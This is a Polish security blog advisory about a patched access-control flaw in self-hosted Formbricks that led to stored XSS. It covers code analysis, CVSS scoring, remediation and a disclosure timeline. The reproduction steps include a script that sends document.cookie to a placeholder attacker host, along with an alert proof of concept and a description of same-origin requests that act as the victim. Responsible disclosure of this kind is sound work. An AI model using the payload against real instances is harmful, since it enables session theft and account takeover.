Powrót do bloga

CVE-2026-XXXXX — Broken Access Control / Stored XSS w Formbricks (Custom Head Scripts)

2 października 2026 Grzegorz Tworek 10 min czytania

Na self-hosted Formbricks członek workspace z samą rolą „Read & write" może ustawić Custom Head Scripts na poziomie ankiety — zdolność, którą dokumentacja rezerwuje dla roli „Manage" — i wykonać dowolny kod w uwierzytelnionej sesji wyżej uprzywilejowanych użytkowników otwierających link ankiety.

CVE-2026-XXXXX — Broken Access Control / Stored XSS w Formbricks Custom Head Scripts

CVE-2026-XXXXX — niespójność autoryzacji w Custom Head Scripts prowadząca do stored XSS (Formbricks self-hosted)

Responsible Disclosure: Podatność została zgłoszona do zespołu bezpieczeństwa Formbricks w ramach responsible disclosure. Producent potwierdził problem i wydał poprawki w wersjach 5.4.4 oraz 6.0.1 przed publikacją niniejszego artykułu; kredyt dla badacza znalazł się w release notes. Researcher: Grzegorz Tworek (Sec4check). Jeśli utrzymujesz instancję self-hosted Formbricks — zaktualizuj ją do 5.4.4 / 6.0.1 lub nowszej.

Formbricks to open-source'owa platforma do zarządzania doświadczeniami (experience management) i ankiet, wdrażana zarówno jako usługa SaaS (Formbricks Cloud), jak i w modelu self-hosted. Opisana podatność dotyczy wyłącznie instancji self-hosted — Formbricks Cloud nie jest podatny.

Podsumowanie

Podczas niezależnych badań bezpieczeństwa (whitebox, pełna analiza przepływu danych na tagu 6.0.0) zidentyfikowałem podatność typu broken access control, która prowadzi bezpośrednio do stored XSS wykonującego się w sesji innego, wyżej uprzywilejowanego użytkownika. Funkcja Custom Head Scripts pozwala wstrzykiwać dowolny kod (np. analytics) do nagłówka publicznej strony ankiety. Na poziomie workspace ta zdolność jest — słusznie — ograniczona do roli manage. Na poziomie pojedynczej ankiety ta sama zdolność jest dostępna już dla roli readWrite (edytor). To właśnie ta asymetria odróżnia realną podatność od zamierzonej funkcji „wstrzyknij własny skrypt".

W praktyce: użytkownik z uprawnieniem workspace.write zapisuje payload w polu customHeadScripts ankiety zwykłą akcją edycji. Na instancjach self-hosted skrypty te są odtwarzane jako elementy <script> i dołączane do document.head publicznej strony ankiety (/s/[surveyId]), która jest same-origin z uwierzytelnionym panelem. Kiedy owner lub manager otworzy link ankiety będąc zalogowanym, kod atakującego wykonuje się w jego sesji na origin aplikacji — co otwiera drogę do przejęcia konta i działania w imieniu ofiary.

Szczegóły podatności

CVE IDCVE-2026-XXXXX — w trakcie przydziału (MITRE CNA-LR)
Typ (przyczyna źródłowa)CWE-863: Incorrect Authorization
Typ (skutek)CWE-79: Stored (Persistent) Cross-Site Scripting
ProduktFormbricks (self-hosted)
Wersje podatne≤ 6.0.0 (potwierdzone na 6.0.0; funkcja obecna we wcześniejszych wydaniach)
KomponentSurvey Custom Head Scripts — survey/editor/actions.ts + survey/link/components/custom-scripts-injector.tsx
Wektor atakuSieciowy (uwierzytelniony zapis, instancja self-hosted)
Wymagane uprawnieniaNiskie — członek workspace z rolą „Read & write" (edytor)
Interakcja użytkownikaWymagana — ofiara otwiera publiczny link ankiety w zalogowanej sesji
CVSS 3.18.7 HIGH
Wektor CVSS 3.1AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
CVSS 4.06.3 MEDIUM
Wektor CVSS 4.0AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:H/SI:H/SA:N
StatusNaprawione przez producenta w 5.4.4 oraz 6.0.1

Analiza techniczna

Przyczyna źródłowa (Root Cause)

Sednem problemu nie jest sama możliwość wstrzyknięcia skryptu (to świadoma funkcja), lecz poziom uprawnień wymagany do jej użycia. Ta sama zdolność — wstrzyknięcie skryptu wykonującego się na publicznych stronach instancji — jest chroniona dwoma różnymi progami autoryzacji w zależności od tego, czy ustawiamy ją na poziomie workspace, czy ankiety.

1. Zapis (survey-level) — gate = workspace.write

// apps/web/modules/survey/editor/actions.ts export const updateSurveyAction = authenticatedActionClient.inputSchema(ZSurvey)... // linia 247: await assertCan({type:"user", id:ctx.user.id}, "workspace.write", {type:"workspace", id:...}); // -> ustawia survey.customHeadScripts bez osobnego gate i bez sanityzacji

2. Schemat — brak walidacji treści

// packages/types/surveys/types.ts:1016 customHeadScripts: z.string().nullish(), customHeadScriptsMode: z.enum(["add", "replace"]).nullish(),

3. Wstrzyknięcie (self-hosted, publiczna ankieta)

// apps/web/modules/survey/link/components/survey-client-wrapper.tsx:240 {!IS_FORMBRICKS_CLOUD && !isPreview && ( <CustomScriptsInjector surveyScripts={survey.customHeadScripts} ... /> )} // apps/web/.../custom-scripts-injector.tsx container.innerHTML = scriptsToInject; // linia 47 container.querySelectorAll("script").forEach(...) // linie 51-64 // tworzy NOWY <script>, kopiuje atrybuty i textContent, appendChild -> WYKONANIE

Ponieważ innerHTML sam z siebie nie uruchamia elementów <script>, injector celowo re-tworzy każdy tag skryptu i dołącza go do document.head, co wymusza jego wykonanie. Dla legalnego analytics to pożądane; dla payloadu atakującego — to gotowy mechanizm wykonania kodu.

4. Brak mitygacji po stronie CSP

// apps/web/next.config.mjs:194 script-src 'self' 'unsafe-inline' https: // pozwala na inline oraz dowolne https // dla "/(s|c)/:path*": frame-ancestors * (strona ankiety osadzalna wszędzie)

Polityka CSP z 'unsafe-inline' w script-src nie stanowi tu żadnej bariery — wstrzyknięty skrypt inline wykonuje się bez przeszkód.

Dlaczego to podatność, a nie funkcja

To kluczowe rozróżnienie, dlatego rozwijam je osobno. Dowodem, że mamy do czynienia z niespójnością autoryzacji, a nie z zamierzonym zachowaniem, jest sam kod producenta — identyczna zdolność na poziomie workspace jest poprawnie chroniona wyższym progiem:

// apps/web/modules/workspaces/settings/actions.ts:30 updateWorkspaceAction -> assertCan(..., "workspace.manage", {workspace}); // workspace-level customHeadScripts wymaga MANAGE // apps/web/lib/authorization/permission-action.ts:22-25 readWrite -> "workspace.write" manage -> "workspace.manage"

Kluczowa obserwacja: ta sama operacja o tym samym skutku (wstrzyknięcie skryptu wykonującego się na tych samych publicznych stronach) wymaga roli manage na poziomie workspace, ale tylko roli readWrite na poziomie ankiety. Dokumentacja Formbricks opisuje Custom Head Scripts jako funkcję zarządczą. Edytor ankiet, który nie powinien móc eskalować uprawnień, de facto może — przez ankietę.

Kroki reprodukcji

  1. Postaw instancję self-hosted Formbricks (docker compose), utwórz organizację i workspace.
  2. Dodaj drugiego użytkownika z rolą zespołową readWrite (edytor) — to atakujący.
  3. Jako edytor: edytuj ankietę → Share → zakładka Custom HTML i ustaw customHeadScripts na payload, np.:
    <script>new Image().src="//ATTACKER/"+encodeURIComponent(document.cookie)</script>
  4. Opublikuj ankietę i skopiuj publiczny link /s/[surveyId].
  5. Jako owner/manager (inna sesja, zalogowany w panelu) otwórz ten link.
  6. Payload wykonuje się na origin instancji w sesji ofiary (trafienie na serwer atakującego lub wykonana akcja panelu).

Uwaga o httpOnly: jeśli ciasteczko sesji jest httpOnly, kradzież document.cookie nie zadziała — ale XSS na origin aplikacji pozwala wykonać uwierzytelnione żądanie same-origin (np. fetch z credentials tworzący klucz API albo dodający członka), co i tak daje pełne działanie w imieniu ofiary niezależnie od flagi httpOnly.

Dowody (Evidence)

Potwierdzenie wykonano na żywo na prawdziwej instancji self-hosted Formbricks 6.0.0 (ghcr.io/formbricks/formbricks:6.0.0 + PostgreSQL/pgvector + Valkey + SpiceDB), docker compose.

Formbricks Share → Custom HTML — edytor ustawia Survey-specific scripts na <script>alert(document.domain)</script>

Krok 1 (broken access control): w oknie Share → Custom HTML pole „Survey-specific scripts" (wstrzykiwane do <head> strony ankiety) przyjmuje <script>alert(document.domain)</script>. Operacja zapisu wymaga jedynie uprawnienia edytora (workspace.write); interfejs sam ostrzega: „Scripts execute with full browser access".

PoC — alert document.domain wykonany na stronie ankiety /s/ realnej instancji Formbricks 6.0.0

Krok 2 (wykonanie): payload <script>alert(document.domain)</script> ustawiony jako customHeadScripts ankiety wykonuje się po otwarciu publicznego linku /s/[surveyId] w przeglądarce — okno alert wyświetla document.domain równy origin instancji (localhost). Potwierdzone także headless (Playwright): payload obecny w <head> renderowanej strony.

Uczciwa uwaga o fidelity: wykonanie na ścieżce renderującej /s/ potwierdzono na żywo na prawdziwym Formbricks. Samą wartość customHeadScripts ustawiłem w teście bezpośrednim zapisem do bazy (stan bajt-w-bajt identyczny z tym, co produkuje updateSurveyAction), natomiast autoryzację zapisu — że rola edytora z workspace.write wystarcza i nie ma sanityzacji — potwierdzono w kodzie (actions.ts:247, schemat z.string().nullish()). Nie naciągam: rozdzielam to, co zademonstrowane na żywo, od tego, co wykazane statycznie w kodzie.

Ocena wpływu (Impact Assessment)

Przejęcie konta / sesji

Kod wykonuje się na origin aplikacji w sesji ofiary. Przy braku httpOnly — kradzież ciasteczka; zawsze — uwierzytelnione żądania same-origin w imieniu ofiary.

Eskalacja uprawnień

Edytor (readWrite) uzyskuje działanie w sesji ownera/managera — przekroczenie granicy uprawnień, której architektura miała bronić.

Akcje panelu administracyjnego

Utworzenie klucza API, dodanie członka, zmiana ustawień organizacji — dowolna akcja dostępna dla ofiary przez interfejs aplikacji.

Trwałość (persistence)

Payload jest zapisany w ankiecie i wykonuje się przy każdym otwarciu linku — stored XSS, nie jednorazowy reflected.

Czynniki ograniczające (uczciwy kontekst)

Dla rzetelności: realną wagę obniżają trzy czynniki, które nie są w pełni ujęte w bazowym wektorze CVSS:

  • Tylko self-hosted. Formbricks Cloud nie jest podatny — injector jest zablokowany flagą !IS_FORMBRICKS_CLOUD.
  • Wymagana interakcja ofiary. Uprzywilejowany użytkownik musi otworzyć realny publiczny link /s/ w zalogowanej sesji (podgląd w panelu jest zablokowany flagą !isPreview).
  • Atakujący musi mieć konto. Wymagana jest rola readWrite w workspace — to aktor pół-zaufany, nie anonimowy.

CVSS — dwie metryki, jedno zjawisko

Podatność oceniłem w obu obowiązujących standardach. Rozbieżność pasm (HIGH vs MEDIUM) nie jest błędem — wynika z różnic w modelowaniu między wersjami:

CVSS 3.18.7 (HIGH) — AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
CVSS 4.06.3 (MEDIUM) — AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:H/SI:H/SA:N

W CVSS 3.1 stosuję S:C (Scope Changed) — standard dla stored XSS, którego skutek wykracza poza komponent podatny i uderza w sesję innego użytkownika; stąd wysoki wynik. W CVSS 4.0 ten sam efekt modeluję jako wpływ na system następczy (SC:H/SI:H) przy niskim wpływie na sam system podatny (VC:L/VI:L) oraz interakcji pasywnej (UI:P) — co jest kanonicznym sposobem punktowania XSS w 4.0 i daje niższą liczbę. Obie oceny opisują tę samą podatność; różni je jedynie model scoringowy.

Rekomendowana remediacja

Priorytet — zrównanie progu autoryzacji:

  1. Ograniczyć zapis survey-level customHeadScripts do uprawnienia workspace.manage — tak, by był spójny z poziomem workspace. To najprostsza i najbardziej spójna poprawka.
  2. Nie wstrzykiwać surveyScripts pochodzących od ról poniżej manage; wyświetlać to samo ostrzeżenie, co przy ustawieniach workspace.
  3. Defense-in-depth: rozważyć ściślejszy CSP dla /s/ i /c/ (bez 'unsafe-inline' w script-src) — ale to koliduje z funkcją, stąd priorytet na kontrolę uprawnień.

Producent zaadresował problem w wersjach 5.4.4 i 6.0.1, wymagając uprawnienia „Manage" do zmiany Custom Head Scripts ankiety — zgodnie z rekomendacją.

Oś czasu (Disclosure Timeline)

DataZdarzenie
2026-09-23Zgłoszenie do [email protected] (responsible disclosure, pełny raport)
2026-09-28Producent potwierdził naruszenie granicy uprawnień i otworzył wewnętrzne zgłoszenie inżynierskie
2026-09-29Producent wydał poprawkę w 6.0.1 (oraz backport w 5.4.4); kredyt dla badacza w release notes
2026-10-02Publikacja artykułu i rejestracja CVE jako third-party (MITRE CNA-LR), skoordynowana z wydaniem poprawki

Wnioski

Ta podatność to podręcznikowy przykład tego, że XSS bywa objawem, a nie chorobą. Mechanizm wstrzykiwania skryptów był tu zamierzony i udokumentowany; prawdziwym defektem była niespójna kontrola dostępu — ta sama zdolność chroniona dwoma różnymi progami uprawnień w zależności od ścieżki. Edytor, który z założenia nie powinien eskalować uprawnień, mógł to zrobić przez ankietę.

Kilka zasad, które ten przypadek dobrze ilustruje:

  • Spójność progów autoryzacji. Jeśli ta sama zdolność istnieje w dwóch miejscach, musi być chroniona tym samym poziomem uprawnień — inaczej słabsza ścieżka staje się obejściem.
  • Funkcja „injection by design" to granica zaufania. Pole, które celowo wykonuje kod, wymaga rygorystycznej kontroli, kto może je zapisać.
  • Rozdzielaj „zrobił" od „mógł". W ocenie wpływu warto twardo oddzielać to, co zademonstrowane na żywo, od tego, co wykazane w kodzie — i uczciwie nazywać czynniki ograniczające.
  • CSP nie zastąpi kontroli uprawnień. Polityka z 'unsafe-inline' nie powstrzyma wstrzykniętego skryptu; granicą musi być autoryzacja zapisu.

Kluczowy takeaway: zanim zakwalifikujesz coś jako „tylko XSS", sprawdź, kto mógł wstrzyknąć payload i czyją sesję trafia. Tutaj odpowiedzią było „użytkownik o za niskich uprawnieniach" i „sesja administratora" — a to zmienia XSS w eskalację uprawnień.

Szukasz podatności w swojej aplikacji?

Jako niezależny badacz bezpieczeństwa i pentester pomagam organizacjom identyfikować i eliminować podatności, zanim zrobią to atakujący. Oferuję profesjonalne testy penetracyjne aplikacji webowych zgodne z OWASP ASVS.

Umów bezpłatną konsultację
Powrót do bloga